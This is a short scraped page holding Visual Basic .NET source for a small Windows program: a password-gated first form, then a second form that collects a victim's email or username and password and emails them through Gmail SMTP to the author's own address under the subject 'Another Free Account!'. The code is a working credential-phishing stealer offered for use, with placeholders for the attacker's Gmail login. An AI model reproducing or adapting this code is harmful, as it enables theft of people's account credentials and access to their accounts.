Sei sulla pagina 1di 1

Form 1:

Button 1:
If TextBox1.Text = "Password" Then Form2.Show() Else MsgBox("Wrong Password", Ms
gBoxStyle.Critical, "Error")
Button 2:
Me.Close()
Form 2:
Imports System.Net.Mail
Button 1
If TextBox1.Text.Contains("@") = True And TextBox1.Text.Contains(".") An
d TextBox2.Text = "" = False Then
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("Your Gmail Adress")
MyMailMessage.To.Add("Your Gmail Adress")
MyMailMessage.Subject = "Another Free Account!"
MyMailMessage.Body = "Email or Username: " & TextBox1.Text & ", " &
"Password: " & TextBox2.Text & ""
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("Your Gmail Adre
ss", "Your Gmail Password")
SMTP.Send(MyMailMessage)
MsgBox("Done!", MsgBoxStyle.Information, "Succes!")
Else
MsgBox("Please Insert Valid Information", MsgBoxStyle.Critical, "Inv
alid Information!")
End If
Button 2
Me.Close()

Potrebbero piacerti anche